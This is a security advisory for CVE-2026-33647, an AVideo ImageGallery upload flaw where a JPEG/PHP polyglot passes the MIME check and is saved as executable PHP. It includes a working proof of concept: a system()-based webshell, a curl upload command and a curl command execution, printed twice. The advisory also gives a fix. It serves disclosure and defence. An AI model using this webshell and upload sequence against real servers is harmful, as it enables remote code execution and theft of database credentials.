GHSA-WXJW-PHJ6-G75W
Vulnerability from github – Published: 2026-03-25 17:45 – Updated: 2026-03-25 17:45Summary
The ImageGallery::saveFile() method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a .php extension. The MIME check passes, but the file is saved as an executable .php file in a web-accessible directory, achieving Remote Code Execution.
Details
The vulnerability exists in plugin/ImageGallery/ImageGallery.php in the saveFile() method:
// plugin/ImageGallery/ImageGallery.php:80-108
static function saveFile($file, $videos_id)
{
$allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
$directory = self::getImageDir($videos_id);
// MIME check on file CONTENT — bypassable with polyglot
$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileType = $finfo->file($file['tmp_name']);
if (in_array($fileType, $allowedMimeTypes)) {
// Extension from attacker-controlled filename — NO allowlist
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
do {
$newFilename = uniqid() . '.' . $extension;
$newFilePath = $directory . $newFilename;
} while (file_exists($newFilePath));
move_uploaded_file($file['tmp_name'], $newFilePath);
// ...
}
}
Root cause: Line 93 extracts the extension from the user-supplied $file['name'] and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., jpg, png, gif, webp, mp4).
Why the MIME check is insufficient: PHP's finfo with FILEINFO_MIME_TYPE inspects file content magic bytes. A file starting with JPEG magic bytes (\xff\xd8\xff\xe0) is identified as image/jpeg regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.
Why no server-level protection exists: The root .htaccess at line 73 blocks dangerous extensions but uses the pattern php[a-z0-9]+ — which matches .php5, .phtml, .phar, etc., but intentionally does not match plain .php (since the application itself requires PHP execution). There is no .htaccess in the videos/ directory to disable PHP execution in the upload target.
Upload path: Files are saved to videos/{videoFilename}/ImageGallery/{uniqid}.php — directly accessible via the web server.
The upload endpoint at plugin/ImageGallery/upload.json.php requires:
1. The ImageGallery plugin to be enabled (line 6-8)
2. An authenticated user (line 10-12)
3. The user must have manage permission on the video (line 18-20) — video owner or admin
The response at line 27 calls listFiles() which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.
PoC
Prerequisites: Authenticated AVideo user account that owns at least one Image or Gallery type video.
Step 1: Create a polyglot PHP/JPEG file
printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' >> shell.php
Step 2: Verify it passes finfo detection
file --mime-type shell.php
# Expected output: shell.php: image/jpeg
Step 3: Upload via ImageGallery endpoint
curl -b 'PHPSESSID=<session_cookie>' \
-F "upl=@shell.php;filename=shell.php" \
'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>'
Expected response:
{
"videos_id": "123",
"saveFile": true,
"error": false,
"list": [
{
"base": "67890abcdef12.php",
"type": "image/jpeg",
"url": "https://target/videos/video_filename/ImageGallery/67890abcdef12.php"
}
]
}
Step 4: Execute the webshell
curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated user with edit permission on any Image/Gallery video can achieve Remote Code Execution as the web server user. This allows:
- Reading sensitive configuration files (database credentials in
videos/configuration.php) - Full database access via the database credentials
- Reading/modifying/deleting any file accessible to the web server process
- Lateral movement within the server's network
- Potential privilege escalation depending on server configuration
Any AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.
Recommended Fix
Add an extension allowlist check in saveFile() immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:
// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93
static function saveFile($file, $videos_id)
{
$allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
+ $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];
$directory = self::getImageDir($videos_id);
$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileType = $finfo->file($file['tmp_name']);
if (in_array($fileType, $allowedMimeTypes)) {
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
+ if (!in_array($extension, $allowedExtensions)) {
+ return false;
+ }
do {
$newFilename = uniqid() . '.' . $extension;
Additionally, as defense-in-depth, add a .htaccess file to the videos/ directory to disable PHP execution:
# videos/.htaccess
php_flag engine off
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33647"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T17:45:40Z",
"nvd_published_at": "2026-03-23T19:16:40Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution.\n\n## Details\n\nThe vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method:\n\n```php\n// plugin/ImageGallery/ImageGallery.php:80-108\nstatic function saveFile($file, $videos_id)\n{\n $allowedMimeTypes = [\u0027image/jpeg\u0027, \u0027image/webp\u0027, \u0027image/gif\u0027, \u0027image/png\u0027, \u0027video/mp4\u0027];\n $directory = self::getImageDir($videos_id);\n\n // MIME check on file CONTENT \u2014 bypassable with polyglot\n $finfo = new finfo(FILEINFO_MIME_TYPE);\n $fileType = $finfo-\u003efile($file[\u0027tmp_name\u0027]);\n\n if (in_array($fileType, $allowedMimeTypes)) {\n // Extension from attacker-controlled filename \u2014 NO allowlist\n $extension = strtolower(pathinfo($file[\u0027name\u0027], PATHINFO_EXTENSION));\n do {\n $newFilename = uniqid() . \u0027.\u0027 . $extension;\n $newFilePath = $directory . $newFilename;\n } while (file_exists($newFilePath));\n\n move_uploaded_file($file[\u0027tmp_name\u0027], $newFilePath);\n // ...\n }\n}\n```\n\n**Root cause:** Line 93 extracts the extension from the user-supplied `$file[\u0027name\u0027]` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`).\n\n**Why the MIME check is insufficient:** PHP\u0027s `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\\xff\\xd8\\xff\\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.\n\n**Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` \u2014 which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target.\n\n**Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` \u2014 directly accessible via the web server.\n\nThe upload endpoint at `plugin/ImageGallery/upload.json.php` requires:\n1. The ImageGallery plugin to be enabled (line 6-8)\n2. An authenticated user (line 10-12)\n3. The user must have manage permission on the video (line 18-20) \u2014 video owner or admin\n\nThe response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.\n\n## PoC\n\n**Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video.\n\n**Step 1: Create a polyglot PHP/JPEG file**\n```bash\nprintf \u0027\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\u0027 \u003e shell.php\necho \u0027\u003c?php if(isset($_GET[\"c\"])){system($_GET[\"c\"]);} ?\u003e\u0027 \u003e\u003e shell.php\n```\n\n**Step 2: Verify it passes finfo detection**\n```bash\nfile --mime-type shell.php\n# Expected output: shell.php: image/jpeg\n```\n\n**Step 3: Upload via ImageGallery endpoint**\n```bash\ncurl -b \u0027PHPSESSID=\u003csession_cookie\u003e\u0027 \\\n -F \"upl=@shell.php;filename=shell.php\" \\\n \u0027https://target/plugin/ImageGallery/upload.json.php?videos_id=\u003cVIDEO_ID\u003e\u0027\n```\n\n**Expected response:**\n```json\n{\n \"videos_id\": \"123\",\n \"saveFile\": true,\n \"error\": false,\n \"list\": [\n {\n \"base\": \"67890abcdef12.php\",\n \"type\": \"image/jpeg\",\n \"url\": \"https://target/videos/video_filename/ImageGallery/67890abcdef12.php\"\n }\n ]\n}\n```\n\n**Step 4: Execute the webshell**\n```bash\ncurl \u0027https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id\u0027\n# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows:\n\n- Reading sensitive configuration files (database credentials in `videos/configuration.php`)\n- Full database access via the database credentials\n- Reading/modifying/deleting any file accessible to the web server process\n- Lateral movement within the server\u0027s network\n- Potential privilege escalation depending on server configuration\n\nAny AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.\n\n## Recommended Fix\n\nAdd an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:\n\n```php\n// plugin/ImageGallery/ImageGallery.php \u2014 in saveFile(), after line 93\nstatic function saveFile($file, $videos_id)\n{\n $allowedMimeTypes = [\u0027image/jpeg\u0027, \u0027image/webp\u0027, \u0027image/gif\u0027, \u0027image/png\u0027, \u0027video/mp4\u0027];\n+ $allowedExtensions = [\u0027jpg\u0027, \u0027jpeg\u0027, \u0027webp\u0027, \u0027gif\u0027, \u0027png\u0027, \u0027mp4\u0027];\n\n $directory = self::getImageDir($videos_id);\n\n $finfo = new finfo(FILEINFO_MIME_TYPE);\n $fileType = $finfo-\u003efile($file[\u0027tmp_name\u0027]);\n\n if (in_array($fileType, $allowedMimeTypes)) {\n $extension = strtolower(pathinfo($file[\u0027name\u0027], PATHINFO_EXTENSION));\n+ if (!in_array($extension, $allowedExtensions)) {\n+ return false;\n+ }\n do {\n $newFilename = uniqid() . \u0027.\u0027 . $extension;\n```\n\nAdditionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution:\n\n```apache\n# videos/.htaccess\nphp_flag engine off\n\u003cFilesMatch \"\\.php$\"\u003e\n Require all denied\n\u003c/FilesMatch\u003e\n```",
"id": "GHSA-wxjw-phj6-g75w",
"modified": "2026-03-25T17:45:40Z",
"published": "2026-03-25T17:45:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjw-phj6-g75w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33647"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.